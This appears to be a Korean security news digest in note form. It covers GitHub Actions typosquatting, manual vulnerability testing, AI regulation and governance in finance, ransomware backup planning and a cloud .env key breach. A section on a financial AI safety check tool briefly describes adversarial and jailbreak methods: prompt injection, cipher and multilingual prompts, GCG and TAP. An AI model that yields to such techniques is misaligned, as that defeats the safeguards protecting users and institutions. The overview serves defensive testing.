- Typosquatting을 이용한 공급망 공격은 오래전부터 인기 - CI/CD 솔루션 GitHub Actions이 Typosquatting에 취약한 것이 확인
내용
- CI/CD 솔루션 GitHub Actions이 Typosquatting에 취약 > 개발자가 알아차리지 못하는 사이에 애플리케이션이 악성코드를 실행하도록 만들 수 있음 > 누구나 임시 이메일 계정으로 GitHub 계정을 만들어 GitHub Action을 게시할 수 있기 때문에 가능
- GitHub Actions에서 Typosquatting를 악용한 약 198개의 파일이 발견
- 취약점 점검은 갈수록 중요해지는 중 - 자동화 기술을 통한 취약점 점검뿐만 아니라 수동 취약점 점검 또한 중요
내용
- 취약점 점검은 시스템의 약점을 찾는 것을 기본으로 함 > 보이지 않는 위협으로부터 시스템과 디지털 공간을 안전하게 보호하는 것도 포함
- 수동 취약점 평가 ① 인증 및 권한 테스트 > 인증 테스트는 승인된 사용자만이 시스템에 접속할 수 있는지, 혹은 그렇지 않은 사람들도 접속 가능한지를 확인 > 권한 테스트는 접속한 사용자에게 적절한 권한이 부여되는지를 검증 > 권고: 여러 문자를 섞어 적당히 긴 비밀번호, 다중 인증, 중앙 관리 시스템, 최소 권한의 원칙, 접근 기록 정기적 검토
② 비밀번호 관리 > 사용자가 비밀번호를 저장하고 관리하는 최적의 접근 방식을 따르도록 하는 지침들을 마련해 전파하는 것까지를 포함 > 정상적인 권한을 가지고 있지 않은 사람이 시스템과 네트워크에 접근하는 것을 막는 것을 목표로 함 > 권고: 로그인 시도 횟수 제한
③ 세션 관리 > 세션 쿠키 재사용을 통해 정상 사용자의 권한을 그대로 가지고 접속할 수 있음 > 권고: 강력하고 고유한 세션 식별자 설정, HttpOnly 또는 Secure 플래그를 설정, 세션 타임 아웃
④ SQL 주입 > 웹 애플리케이션에서 가장 흔히 나타나면서도 대단히 위험한 취약점 > 권고:매개변수화 된 쿼리 사용, 입력 값 제한 및 검증 강화, DB 접근 권한 최소한 사용자에게 부여
⑤ 교차 사이트 스크립팅(XSS) > 권고: 입력 값 제한 및 검증 강화, 매개변수화 된 URL과 코드 사용, 콘텐츠 보안 정책(CSP) 헤더를 구축, 인라인 자바스크립트 지양
⑥ URL 조작 > URL 조작 테스트는 웹 애플리케이션이 URL 조작 공격에 얼마나 노출되어 있는지를 파악하는 것 > 무단 접근, 데이터 유출, 그 외 여러 보안 문제를 사전에 막기 위해 실시 > 여러 가지 유형의 테스트가 존재 ⒜ 경로 탐색(path traversal) : URL 경로를 다른 것으로 바꿈으로써 다른 디렉토리에 접근 ⒝ 매개변수 변조(parameter tampering) : URL의 매개변수를 수정하여 애플리케이션이 비정상적으로 작동하게 함 ⒞ 디렉토리 목록화(directory enumeration) : 숨겨진 디렉토리를 찾는 데 도움이 됨 ⒟ 불안전 디렉토리 객체 참조(IDOR) : URL에서 식별자를 조작하여 접근이 허용되지 않은 자원에 접근 ⒠ 강제 브라우징(forceful browsing) : URL을 직접 입력함으로써 피해자의 브라우저가 악성 페이지에 접근하도록 함 ⒡ URL 우회 접속 : URL 매개변수나 URL 그 자체를 조작하여 다른 곳으로 접속하게 유도 ⒢ URL 매개변수를 통한 SQL 주입 : 말 그대로 URL 매개변수에 SQL 명령을 삽입 ⒣ XSS : URL 매개변수에 SQL 주입 명령을 삽입 ⒤ 세션 ID 조작 : URL에 포함되어 있는 세션 ID를 조작하여 세션 탈취 공격을 진행 ⒥ 파일 업로드 테스트 : 파일 업로드 매개변수를 조작하여 업로드를 제한하거나 악성 파일을 업로드
- 수동 취약점 점검을 통해 반드시 찾고 고쳐야 하는 것: 사용자 입렵값을 처리하는 기능 > 다음으로 중요한 것: 최소 권한의 법칙
기타
- 코드를 세밀하게 검토하고, 입력 값을 검증하고, 인증 메커니즘을 철저히 분석할 때 수동으로 테스트를 진행하는 게 중요 > 자동 기술로 하면 놓칠 만한 것들을 찾아낼 수 있게 됨
> 다른 신기술과 달리 인간의 판단을 대행하기 때문에 다른 신기술에 비해 정책이나 거버넌스 마련이 굉장히 중요
- 국내 금융권 AI 활용 현황
> 국내 금융권은 금융안전성, 신뢰성, 금융투자자 보호가 중요하므로 다소 제한적ㆍ보수적 AI 활용
> 생성형 AI는 망분리 규제로 실 활용에 제약이 있었으나, 최근 망분리 규제 개선으로 활용 확대가 예상
> 금융지주사 등을 중심으로 디지털 및 AI 혁신 주도를 위해 AI 부서 신설 등 AI 업무 조직 확대
> AI 기술이 개인 미래 행동을 예측하는 단계로 진화 + 생성형 AI 등에 대한 망분리 규제 개선 = 초개인화 금융 서비스 등 금융권 AI 활용 확대 전망
- 정보의 신뢰성, 규제 미비 등으로 해외 금융권의 AI 활용도 국내와 유사한 수준으로 파악
구분
설명
미국
- 일반 AI 규제 > AI 관련 문제 발생 시 기존 법령을 적용하여 규제 ① AI 행정 명령: 미 행정부는 안전하고 안심할 수 있으며 신뢰할 수 있는 AI 개발 및 활용을 위한 행정명령 발표(23.10) ⒜ 미국의 안보, 건강, 안전을 위협할 수 있는 AI 시스템 개발자는 안전성 평가 결과를 포함한 중요 정보를 상무부에 보고(의무) ⒝ 행정명령에 따른 미 국립표준기술연구소(NIST)는 AI 레드팀의 안전성 평가 세부 기준을 마련
② 금융부문 AI 규제: 미 재무부는 AI 행정명령에 따라 금융서비스 부문의 AI 관련 사이버보안 위험관리 보고서를 발표(24.03) ⒜ 금융기관 간 격차 해소: 대형 금융회사와 중소형 금융회사간 AI 시스템 역량, 사기방지 관련 데이터 보유량 차이 등을 고려 ⒝ AI 관련 규제 조정: 금융회사와 규제당국간 협력을 통해 급변하는 IT 환경에서 최선의 방안 모색 ⒞ 위험관리 프레임워크: NIST의 AI 위험관리 프레임워크를 금융분야 환경에 맞춰 확장 ⒟ 데이터 공급망 매칭 및 영향 표시제: 데이터 공급망 모니터링이 필요하며, AI 모델에 사용된 학습 데이터 내용, 출처 등을 표시 ⒠ 설명가능성: 생성형 AI의 블랙박스 문제 해결을 위한 설명가능성 관련 모범사례 마련 필요 ⒡ 공통 AI 어휘집: AI의 정의 등 금융회사, 규제기관, 금융소비자 모두 적용될 수 있는 공통 AI 어퓌집 마련 필요 ⒢ 국제협력: 금융 AI 규제 관련 국제협력 및 공조 필요
EU
- 직접 규제 > EU 인공지능법(The Artificial Intelligence Act) 유럽 의회 통과(24.03) ⒜ 위험기반 접근방식을 통해 AI 사용 위험을 ① 수용할 수 없는 위험, ② 고위험, ③ 제한적인 위험, ④ 낮은 위험으로 구분하여 AI를 규제 ⒝ 금융과 연계된 다음 시스템은 고위험 AI 시스템으로 포함: 신용도 평가나 신용점수 산정에 이용되는 시스템 / 건강 및 생명보험 관련 평가 또는 가격 책정에 이용되는 시스템 ⒞ 고위험 시스템은 리스크 관리, 데이터 거버넌스, 기록보존, 적합성 평가 등 의무가 부과
영국
- AI 사용 촉진을 위해 간접 규제 > 과학혁신기술부(DIST)는 AI 신뢰성 확보를 위해 AI 사용에 대한 백서 발간(23.03) -> AI 사용 관련 5대 원칙 제시 (안전, 보안 및 견고성 / 투명성 및 설명 가능성 / 공정성 / 책임 및 거버넌스 / 경쟁 가능성 및 보상) > 금융감독청(FSA)나 건전성감독청(PRA)에서 금융부문 AI 논의를 주도하고 있으나, 정보수집 및 업계 피드백에 대한 보고에 집중
일본
- 기본 법제 내에서 가이드라인 위주로 AI 정책을 운영 > AI 사업자 가이드라인: 일본 총무성은 AI를 개발ㆍ활용하는 사업자를 위해 10대 원칙, 31개 지침을 제시하는AI 사업자 가이드라인을 발간(24.04) ⒜ 가이드라인에는 AI 사업자에 대한 AI 10대 원칙을 제시 (인간 중심 / 안전성 / 공평성 / 프라이버시 / 보안성 확보 / 투명성 / 책임 / 교육, 리터러시 / 공정한 경쟁 / 혁신) ⒝ 가이드라인은 순환적 거버넌스 구축을 권고하며, 거버넌스의 효과적 추진을 위해 경영진의 리더십과 책임이 중요함을 강조
국제기구
- 인공지능은 타 신기술과 달리 잘못 이용될 경우 인류에 큰 위험이 될 수 있다는 고려하에 국제적인 협력이 활발히 이루어지고 있는 상황 > 국제공조는 인간중심의 안전하고 신뢰할 수 있는 인공지능 개발에 초점을 맞추고 있다는 공통점 존재 ① G7: 안전, 보안, 신뢰할 수 있는 AI 개발을 위해 첨단 AI 시스템 개발을 위한 히로시마 프로세스 국제 행동강령 채택(23.10) ⒜ 행동강령에는 첨단 AI 시스템을 시장에 출시하기 전 내부 또는 외부자 평가를 실시하여 위험을 식별ㆍ완화하는 내용이 포함
② AI 안전 정상회의: 미국, 영국, 한국 등 28개국 및 EU가 참가하는 AI 정상회의에서 AI 위험 방지를 위한 블레츨리 선언 발표(23.11) ⒜ 선언문에는 AI 수명주기 전반의 안전을 고려해야 하며, AI 시스템 개발 시 안전성 평가 등 안전성 보장 책임이 명시
③ AI 가이드라인: 미국, 영국, 한국 등 주요국 23개 사이버안보기관이 참여하여 안전한 AI 시스템 개발 가이드라인 발표(23.11) ⒜ 가이드라인은 책임감 있는 AI를 위해 AI 시스템은 보안성 평가를 거친 후 시장에 출시하도록 권고
④ UN: UN의 120개국 이상 회원국은 안전하고 신뢰할 수 있는 인공지능 시스템 촉진에 관한 결의안 채택(24.03) ⒜ 결의안은 인권향유에 지나친 위험을 초래하는 AI 시스템 사용을 자제하고, AI 규제 및 거버넌스 프레임 워크 개발 등을 촉진
한국
- 일반 AI 규제: 인공지능 법안이 다수 발의되었으나 계류 중이며, 현행 법령(31개)에서 인공지능을 일부 규율 > 국가 인공지능 정책 전반을 심의ㆍ조정하는 대통령 직속 국가인공지능 위원회가 출범(24.08)한 만큼, 향후 다양한 인공지능 정책 마련 예상 ① 현행 법령의 인공지능 규율 주요 내용 ⒜ 국가인공지능위원회 설치 및 운영에 관한 규정: 인공지능위원회 설치 및 기능 ⒝ 개인정보보호법령: 자동화된 결정에 대한 정보주체 권리, 거부 및 설명요구권 ⒞ 전자정부법: 지능형 전자정부서비스 제공 및 도입, 활용 ⒟ 공직선거법: 딥페이크 영상 등을 이용한 선거운동(제28조의8) 등
② 법령보다는 가이드 등을 발행하는 방법으로 AI를 주로 규율 ⒜ 과기정통부: 인공지능 윤리기준(20.12), 신뢰할 수 있는 인공지능 개발 안내서(24.03), 인공지능 학습용 데이터 품질관리 가이드라인 및 구축 안내서 V3.1(24.04) ⒝ 개보위: AI 개인정보보호 자율점검표(21.05), 합성데이터 생성 참조모델(24.05), 인공지능 개발ㆍ서비스를 위한 공개된 개인정보처리 안내서(24.07) ⒞ 방통위: 생성형 AI 윤리 가이드북(23.12), 생성형 AI 이용자보호 가이드라인(24년 예정) ⒟ 국정원: 챗GPT 등 생성형 AI 활용 보안 가이드라인(23.06)
- 금융부문 AI 규제: 자본시장법, 신용정보법에서 로보어드바이저 등 인공지능과 관련한 일부 사항을 규율 > 금융위, 금감원, 금보원 등에서 AI 관련 가이드 등 발간 ① 자본시장법: 로도어바이저에 대한 별도 요건(보안성 포함)을 규정하고 있으며, 요건 충족 여부 심사(테스트 베드)를 사전 이행 ⒜ 자본시장법 상 로보어드바이저 보안 요건: 침해사고 및 피해 등을 예방하기 위한 체계 및 침해사고 또는 재해가 발생했을 때 피해 확산ㆍ재발 방지와 신속한 복구를 위한 체계를 갖출 것
② 신용정보법: AI 등 정보처리장치로만 개인신용정보 주체를 평가(자동화)하는 경우 개인은 평가의 주요 기준 등에 대해 설명요구 가능
- 금융분야 AI 거버넌스
> 구축 목표: 금융회사 등이 안전하고 신뢰할 수 있으며 책임 있는 인공지능 개발ㆍ활용 문화를 자율적으로 조성하고 이를 유지ㆍ관리하는 것(인공지능 위험 관리 및 최소화 -> 인공지능 개발ㆍ활용 목표 달성)
거버넌스 구축 기본 원칙
기존 모델 및 시스템 활용
- 기존 금융분야 위험관리 체계 + 인공지능만의 특수한 위험 관리방안 추가 - 세계 각국 및 국제기구 등에서 발표하는 기준 등도 참조
기존 법령 및 제도 준수
- 기존 금융관련 법령 및 제도 등을 철저하게 준수 - 인공지능을 개발ㆍ활용하더라도 기존 법령 등의 적용이 면제되지 않는 점을 명심
인공지능 기본 원칙 마련
- 안전하고 신뢰할 수 있으며 책임 있는 인공지능 개발ㆍ활용을 위한 원칙 마련 - 인공지능 윤리 원칙 등으로 대체 가능
> 거버넌스에 담아야 하는 내용
구분
설명
위험관리 체계 구축
- 금융회사 등은 자사 환경에 맞는 순환식 위험관리 체계 구축
인공지능 조직 구성, 운영 및 책임 명확화
- 인공지능 개발ㆍ활용 관련 조직을 구성하고, 인공지능과 관련한 임직원의 역할과 책임을 명확화 - 이사회 및 최고경영자 / 인공지능 통합관리 조직 / 인공지능 개발 조직 / 법무 및 컴플라이언스 조직 / 사이버보안 조직 / 데이터, 개인정보보호 조직 / 감사 조직 / 일반 임직원
전사적 커뮤니케이션 채널 및 컨트롤 타워 구축
- 인공지능 위험의 효과적 관리를 위해 전사 커뮤니케이션 채널을 구축하고, 종합적인 대응을 위한 컨트롤 타워 구축
인간 역할 부여 및 기존 업무 체계 유지
- 인공지능은 편견, 오류 등 불확실성이 있으므로 인간의 역할을 임직원에게 부여 - 인공지능 서비스 중단 시 기존 업무체계로 빠르게 전환하여 금융시스템 운영을 지속 ※ HITL(Human-in-the-Loop): 인공지능 서비스의 신뢰도 제고를 위해 중요한 의사결정을 포함하는 데이터에 대해 인간이 직접 리뷰하고 수정하여 품질을 높이는 과정을 의미
데이터 및 개인정보보호, 사이버보안
- 데이터는 적법하고 투명하게 수집 활용하며, 고객정보 보호 및 데이터 공급망 관리 체계 마련 > 개인정보, 신용정보 등은 현행 법령 및 가이드, 정책 등 준수 / 데이터 레이블링은 신뢰할 수 있는 인력이 담당, 데이터 공급망 관리 체계 마련 등 - 타 IT 기술 수준의 보안대책 + 인공지능에 특화된 사이버 위험 보안대책을 마련 > 기존 사이버보안 모델 활용, 국내의 인공지능 가이드 활용, AI 레드팀 운영, 내외부 보안성 평가 시행, 설명가능한 인공지능 개발 등
제3자와 협력, 정보 공유
- 인공지능 관련 제3자와 협력은 필수로, 책임 있는 제3자 선정 및 관리 및 협업체계 마련 - 인공지능 위험에 효과적 대응을 위해 금융회사간 정보공유 협조
금융소비자 보호
- 누구나 손쉽게 인공지능을 이용할 수 있어야 하며, 인간에 의한 서비스를 받을 권리를 보장 > 디지털 소외계층도 인공지능 서비스를 손쉽게 이용할 수 있도록 개발 > 인공지능을 적용하더라도 금융소비자 관련 의무 및 책임이 면책되지 않으므로 금융 소비자 보호대책 마련 및 이행
사내 문화조성, 금융당국 협력
- 인공지능 문화 정착을 위해 체계적 교육 실시 및 임직원의 역할과 책임을 명확히 인식 - 금융회사 등은 금융당국과 원활히 의사소통을 하고, 정보 교환 등 긴밀히 협력
2. AI Safety 금융권 생성형 AI 도입에 따른 위협과 과제
- 금융권 생성형 AI 활용범위는 점차 확대: 고객상담, 금융투자 분석, 신용 및 대출 평가, IT 개발 등
금융권 생성형 AI 도입에 따른 리스크
① 신뢰성 문제: 할루시네이션, 기능 오작동 ② 공정성 문제: 차별 및 편향성 ③ 투명성 문제: 의사결정 근거 모호 ④ 보안성 문제: 사내기밀 유출, 보안이 취약한 코드생성, 사전학습 모델 내 악성코드 삽입, 서드파티 플러그인 공격 ⑤ 안전성 문제: 사용자에게 위험할 가능성 존재 / 악용소지 ⑥ 윤리적 문제: 프라이버시 침해 ⑦ 책임성 문제: 저작권 침해, 사고 발생 시 책임 모호
- AI Safety 연구소
> 해외 4개국(미국, 영국, 일본, 싱가포르)에 AI 연구소가 설립되었으며, 국내에서도 개소 예정
> AI 안전 평가체계에 대한 조사, 연구, 개발, 국제협력 등을 수행
구분
설명
국내
- 한국정보통신연구원(ETRI) 내 AI 안전연구소 설립 예정(25년) > AI 안전연구소는 AI 안전 민간 컨소시움과 협력하여 안전테스트 프레임워크 개발, 기술 연구, 대외 협력 등의 업무 수행 예정 > 인공지능 발전과 신뢰 기반 조성 등에 관한 법률안(AI 기본법, 24.05 발의) 통과 시, AI 안전연구소의 법적 근거가 마련될 예정
- 정부 및 민간에서 안전하고 신뢰할 수 있는 AI를 위해 다양한 AI 프레임워크를 개발 중이며, AI 개발 방법론, 거버넌스 구축, 검증 체크리스트 등 다양한 방식으로 접근 중
- (정부) 정부 및 유관기관에서 발표한 AI Safety 프레임워크는 아직 없으나, 과기부 및 유관기관(ETRI, TTA 등)에서 AI Safety 프레임워크 검토중 - (민간 기업) 네이버에서 AI 위험인식ㆍ평가 ㆍ관리하기 위한 AI 안전 프레임워크 발표(24.06) > AI 위험 평가를 통해 통제력 상실하는 것을 방지, 악용하는 것을 최소화하며, 임계치 초과 시 AI 시스템을 개발 및 배포 중단
싱가포르
- 정보통신미디어개발청(IMDA) 소속 재단에서 AI Verify 프레임워크를 발표(23.06) > 신뢰할 수 있는 AI 시스템을 구축하기 위한 표준화된 검증 방법론으로써, 국제적(EU, OECD 등)으로 인정된 AI 원칙을 반영한 체크리스트로 구성(11개 분야 85개 항목) > 자동 검증 S/W가 오픈소스로 공개되어 있으며, 주요 AI 모델(생성형 AI, ML 모델 등)에 대한 검증가능
- 싱가포르 통화청에서 금융분야 책임감 있는 AI 활용을 위한 지침(Veritas) 발표(23.06) > 금융회사 AI 서비스에 대한 공정성, 윤리성, 책임성, 투명성 4가지 원칙 준수 여부를 확인 > 자동 검증 S/W가오픈소스로 공개되어 있으며, 주요 AI 모델(ML 모델 등)에 대한 검증가능
구글
- AI 시스템 관련 위험 완화를 위한 보안 AI 프레임워크 발표(23.06) > 안전한 인프라 구축, 위협 탐지 및 대응, 자동화된 방어, 일관된 보안통제, 적응형 통제, 비즈니스 과정 내 위험평가 등을 통해 AI 시스템의 위험 환화
- 딥마인드(구글 연구조직)는 AI 위험을 줄이기 위한 프론티어 안전 프레임워크 발표(24.05) > 고위험 영역(자율성, 생물보안, 사이버보안, 기계학습 연구개발 등)에서 심각한 피해를 줄 수 있는 AI 역량에 대해 정의하고, 이를 이러한 AI 위협에 대해 감지하고, 완화하는 방안을 제시
오픈AI
- 안전한 AI 개발 및 배포를 위한 대비 프레임워크 발표(23.12) > 모델 위험지표에 대한 평가를 수행하여 임계 값 초과 시, 모델 배포 및 개발 중단 ① 사이버보안: 시스템의 기밀성, 무결성, 가용성 등을 해치는 행위 ② 핵무기 및 화생방: 화학적, 생물학적 또는 핵 무기 등을 생산하는 행위 ③ 설득력: 사람들이 자신의 신념을 바꾸도록 설득하는 행위 ④ 모델 자동화: AI 모델이 스스로 생존하기 위해 자가 복제, 자원 확보하는 행위 ⑤ 기타: 그 외 다양한 방면으로 사회, 경제에 악영향을 미치는 행위
- 오픈 AI에서 발표한 대피 프레임워크 검증결과 (GPT-4o) > 허가받지 않은 채 목소리 복제, 목소리 식별, 저작권있는 콘텐츠 생성, 폭력적이거나 에로틱한 답변
- 위험식별 뿐만 아니라 AI 위험 완화 기술도 발표 ① 모델 정렬&추가 학습(Alignment & Post-Training): RLHF(Reinforcement learning with Human Feedback), RBR(Rule Based Rewards) ② 추가적인 검증모델(필터링 모델) 도입: 답변 검증 모델, 룰 기반 입출력 필터링
- 금보원 AI Safety 프레임워크 구축 추진
> 금융기관이 안전한 AI 시스템을 구축할 수 있도록 하는것이 목표
구분
설명
보안성
AI 시스템은 모델 데이터 유출 및 오염, 적대적 공격 등의 사이버 공격으로부터 보호되도록 보안을 유지하여야 함
안전성
AI 시스템이 테러, 범죄 등에 악용되지 않아야 하고, 의도치 않은 피해나 부작용을 최소화하기 위한 예방장치가 포함되어야 함
투명성
AI 시스템의 의사결정 과정과 작동 원리를 사람이 이해할 수 있어야 하며, 사용자와 이해관계자가 이를 쉽게 파악하고 검토할 수 있어야 함
신뢰성
AI 시스템은 일관되게 정확하고 신뢰할 수 있는 결과를 제공하여야 함
책임성
AI 시스템의 오류 또는 답변의 결과에 대해 책임의 주체와 한계를 명확히 규정하고, 문제가 발생 했을 때, 신속하고 효과적으로 대응할 수 있어야 함
윤리성
AI 시스템은 금융회사의 윤리지침과 사회공동체가 혐의한 윤리 기준을 준수하여야 함
공정성
AI 시스템의 결정이 정당한 이유 없이 특정 개인이나 집단을 차별하지 않도록 해야 함
> 점검도구
구분
설명
공격
판단형 AI
- 입력 데이터를 바탕으로 의사결정(판단) 하는 AI - 예시: 신용평가모델, 로보어드바이저 등 - 주요 공격방법: 적대적 공격(FGSM, PGD, DeepFool, C&W 등)
FGSM( Fast Gradient Sign Method)
- 입력 데이터에 노이즈 등을 추가하여 출력을 변경 - 간단하고 효과적인 기본 공격
PGD( Projected Gradient Descent)
- FGSM을 개선해 입력에 여러 번 노이즈등을 추가 - FGSM 보다 강력
DeepFool
- 모델의 의사 결정 경계를 활용한 공격 - 최소한의 노이즈로 모델을 속이는 방법을 찾음 - 정밀한 공격을 할 수 있으나 상대적으로 계산 비용이 높음
C&W( Carlini & Wagner)
- 최적화 문제로 접근하는 공격 - 매우 강력한 공격이나 매우 높은 계산 비용
생성형 AI
- 새로운 데이터를 생성해내는 AI - 예시: Chat GPT, Gemini 등 - 주요 공격방법: 프롬프트 삽입 공격, 탈옥(CheetSheet, Multilingual, Special Char, Cipher, GCG, TAP 등)
프롬프트 삽입 공격
- 입력 프롬프트에 악의적인 명령을 숨겨 모델의 동작을 조작
CheetSheet
- 미리 준비한 공격에 성공한 리스트를 API 등을 활용해 반복 공격
Multilingual
- 다개국어 언어를 섞어 프롬프트에 입력
Special Char
- 특수문자를 섞어 프롬프트에 입력
Cipher
- 암호화 등(Based64, 모스부호 등)을 적용해 프롬프트에 입력
GCG (Generic Code Generation)
- 답변 거절 원인을 계산하여 수치화하여 수치에 따라 입력을 바꿔 프롬프트에 입력
TAP
- 생성형 AI를 활용해 공격 기법과 대응, 결과를 확인하고, 그 결과(성공/실패)를 확인 및 AI 학습을 통해 공격 효과를 높임
- 최근 몇 년간 랜섬웨어 공격이 증가하며 하나의 비즈니스 모델로 진화 - 공격 영향 최소화, 가능한 한 빠은 회복에 중점을 둔 포괄적인 램섬웨어 복구 계획이 필수적
내용
- 24년 소닉웰(SonicWall) 네트워크 위협 보고서 > 23년 한 해 동안 전 세계에서 60억 6,000만건의 랜섬웨어 공격이 발생 (평균 매초 19건의 공격이 발생) > 조직은 방어 조치를 강화할 필요성과 포괄적인 랜섬웨어 복구 계획이 필수적
- 어떤 조직도 모든 사이버 공격을 완벽하게 예방할 수 없기 때문에 조직은 복구를 최우선 고려 사항으로 삼아야 함 > 백업이 랜섬웨어 공격에 대한 가장 효과적인 방어 수단 중 하나로 인정받는 이유 > 최신 버전의 안전하고 검증된 백업을 보유하고 있으면 복구 가능성이 높아지고, 가동 중지 시간을 줄이며, 데이터 손실 위험을 최소화할 수 있음
- 랜섬웨어 복구 계획의 7가지 핵심 요소 ① 데이터의 고립 방지 > 기술의 발전과 다양성으로 인해 기업이 운영 또는 개발 중인 도구는 여러 플랫폼에 걸쳐 사용 > 하지만 특정 작업 부하가 무시되면 조직이 랜섬웨어 공격 위험에 노출될 수 있음 > 기업은 모든 데이터를 완전한 백업 메커니즘에 포함시켜야 함
② 효율적이고 신속한 백업 > 기업의 데이터 양이 급격히 증가함에 따라 데이터를 보존해 후속 분석에 활용하거나 클라우드로 전송하고 IoT 장치에 적용해야 할 필요성이 증가 > 이를 위해 기업은 데이터를 효율적이고 신속하게 백업할 수 있는 시스템을 구축해야 함 > 모든 데이터가 백업된 상황에서도 복구 시간 간격(RPO : Recovery Point Objective)을 최대한 단축해야 함
③ 백업 데이터의 보존 기간 확보 > 최신 랜섬웨어는 최대 30~90일의 잠복기를 가질 수 있기 때문에 백업 데이터는 효율적이고 안전하게 보존돼야 함 > 이를 통해 예상치 못한 사고가 발생했을 때도 깨끗하게 복구할 수 있는 데이터를 유지해 기업의 지속적인 운영을 보장할 수 있음
④ 백업의 복구 가능성 테스트 > 기업(조직)은 언제 랜섬웨어 공격을 받을지 알 수 없기 때문에 불확실한 환경에서 백업 데이터의 복구 가능성을 지속해서 테스트하고 연습해야 함 > 이는 백업의 신뢰성을 높일 뿐만 아니라, 랜섬웨어 위협에 직면했을 때 신속하고 효과적으로 복구할 수 있도록 함
⑤ 액세스 불가능한 백업 구조 확보 > 일반적인 랜섬웨어 공격은 기업의 원본 데이터를 암호화하고 기존 백업 데이터를 삭제 > 이에 기업의 백업 데이터는 충분한 보안성을 유지해야 하며, 변조 불가능한 특성을 갖추고 랜섬웨어로부터 네트워크나 물리적 환경에서 격리돼야 함 > 이를 통해 기업은 원래와 같이 깨끗하게 복구할 수 있는 데이터를 확보할 수 있음
⑥ 신속하고 유연한 복구 메커니즘 구축 > 기업(조직)이 랜섬웨어 공격을 받을 경우, 최우선으로 해야하는 것은 지속적인 운영을 보장하는 것인데 이는 ‘시간’과 ‘유연성’이라는 두 가지 핵심 요소와 관련이 있음 > 가동 중지 시간을 최소화하기 위해 즉각적인 복구가 필요하며, 복구 시간 목표(RTO)를 단축해야 함 > 또한 랜섬웨어는 단일 플랫폼을 대상으로 공격하는 경우가 많기 때문에 백업은 플랫폼과 하이퍼바이저 별로 각각 구분해 복구 기능을 갖춰야 함 > 이는 복구 시 직면할 수 있는 위험을 분산시킴
⑦ 쉬운 조작과 중앙 관리 > 기업의 IT 환경이 복잡해짐에 따라 많은 기업이 원시적 보호 메커니즘을 활용해 백업을 수행 > 문제는 관리 복잡성이 높아질수록 인적 실수나 누락이 발생할 수 있으며, 랜섬웨어 공격에 취약점을 제공할 수 있음 > 이를 예방하기 위해 백업은 중앙 관리 기능을 갖춰야 하며, 데이터 가시성을 확보해 환경 내 모든 백업이 정상적으로 실행되고 있는지 모니터링할 수 있어야 함
기타
- 3-2-1 백업 ① 3개의 데이터 사본 혹은 버전 유지 > 원본 데이터와 두 개의 백업 데이터, 총 세 개의 사본 > 하나는 원본 데이터와 동일한 장소에 저장, 두 개는 다른 위치에 저장
② 2개의 서로 다른 미디어 혹은 플랫폼에 저장 > 최소 2개 이상의 각기 다른 저장 매체에 저장
③ 1개의 저장매체는 오프라인으로 유지 > 비상시에 안전하게 보관할 수 있도록 저장된 데이터의 물리적인 사본을 다른 위치에 보관
- 환경설정 파일(env) 파일을 아무런 보호 장치 없이 노출되어 있었음 - 공격자들은 단순 스캔만으로 획득하여 11만 개 도메인 공격
내용
- 환경설정 파일(env) > 애플리케이션과 플랫폼에서 사용되는 각종 변수를 정의하는 데 사용 > 클라우드용 접근 키, API 키, 데이터베이스 로그인 정보와 같은 민감한 데이터가 저장 > 공격자는 해당 파일에 저장된 AWS 접근 키를 이용해 AWS 접속 및 API 호출을 통해 시스템 구성 파악
- 공격자는 지나치게 많은 권한을 지닌 IAM 계정 발견 > 다른 IAM 계정에 새로운 권한을 부여할 수 있는 권한 > 새 IAM 계정 생성 후 모든 권한을 부여하여 추가 악용에 이용
- 공격자는 자동 스캔을 통해 노출된 파일을 포함한 도메인을 최소 11만 개 발견 > 도메인에 침투하여 클라우드 인프라에 접근해 S3 버킷을 찾아낸 것 > 버킷에서 데이터를 탈취한 후 삭제 및 협박
- 노출된 env 파일을 분석한 결과 클라우드 인프라 접근 키 외 다양한 정보가 저장 > 각종 SNS, 온프레미스 애플리케이션에 대한 로그인 정보 > 조사 결과 인터넷에 노출되어 있는 환경변수 파일이 9만 개 이상이며, 이 중 7천여 개가 클라우드 서비스와 관련되어 있음
- 대응방안 > 가장 먼저 IAM 접근 키의 권한을 유연하게 설정 > AWS 계정 내 미사용 리전들을 비활성화 > 로깅 활성화, 모니터링 강화
카카오페이 계정 ID, 휴대폰 번호, 이메일, 가입 내여, 거래 내역(잔고, 충전, 출금, 결제 금액 등) ※ 기타 내용 참고
특징
제휴 업무 처리 간 불필요 정보 및 고객 동의 없이 제공
피해크기
- 18.04부터 현재까지 매일 1회, 총 542여건 (누적 4,045만명) - 19.11부터 현재까지 해외결제 이용시마다 총 5.5억건
침해 사고 분석
경위
- 금감원, 24.05~07까지 카카오페이 해외결제부문에 대한 현장 검사 실시 결과 발표 > 카카오페이가 고객의 동의 없이 알리페이에게 고객의 신용정보를 제공한 사실 확인 > 카카오페이가 애플 앱스토어에 결제 서비스를 제공하기 위해 이루어진 것 > 애플이 요구한 데이터를 재가공하는 과정에서 알리페이 계열사에 업무를 맡기면서 발생한 것으 로 보임 > 고객이 해외 결제를 이용하지 않았음에도 불구하고, 카카오페이에 가입한 전체 고객의 개인신상 이 제공 > 해외결제를 위해 고객 신용정보 제공이 필요하지 않음에도 불구하고 결제 내역 및 내용이 제공
- 카카오페이의 반박 > 알리페이의 NSF 스코어 산출을 명목으로 카카오페이 전체 고객의 신용정보 요청에 따른 정보 제공 > 본건 관련 정보제공이 사용자의 동의가 필요없는 업무 위수탁 관계에 따른 신용정보의 처리에 해당 > 철저한 암호화를 통해 전달되어 원본 데이터 유추할 수 없음 > 따라서, 고객 동의 없이 불법으로 정보를 제공한 사실이 없다는 입장
- 금감원의 재반박 ① 신용정보의 처리 위탁 해당 여부 > 카카오페이-알리페이간 계약서 확인 결과 NSF 스코어 산출·제공업무를 위탁하는 내용은 전혀 존재하지 않음 > 카카오페이 회원가입시 징구하는 약관 및 해외결제시 징구하는 동의서 확인 결과 NSF스코어와 관련한 고객정보 제공을 유추할 수 있는 내용이 존재하지 않음 > 카카오페이가 공시한 개인신용정보 처리업무 위탁 사항에도 NSF 스코어 산출·제공업무는 포함되지 않음 > 대법원 판례 등에 의거 신용정보의 처리 위탁이 되기 위한 조건에 해당하지 않음 > 금융회사의 정보처리 업무 위탁에 관한 규정 제7조에 의거, 정보처리 업무 위수탁시 금감원에 사전 보고해야 함에도 보고하지 않음
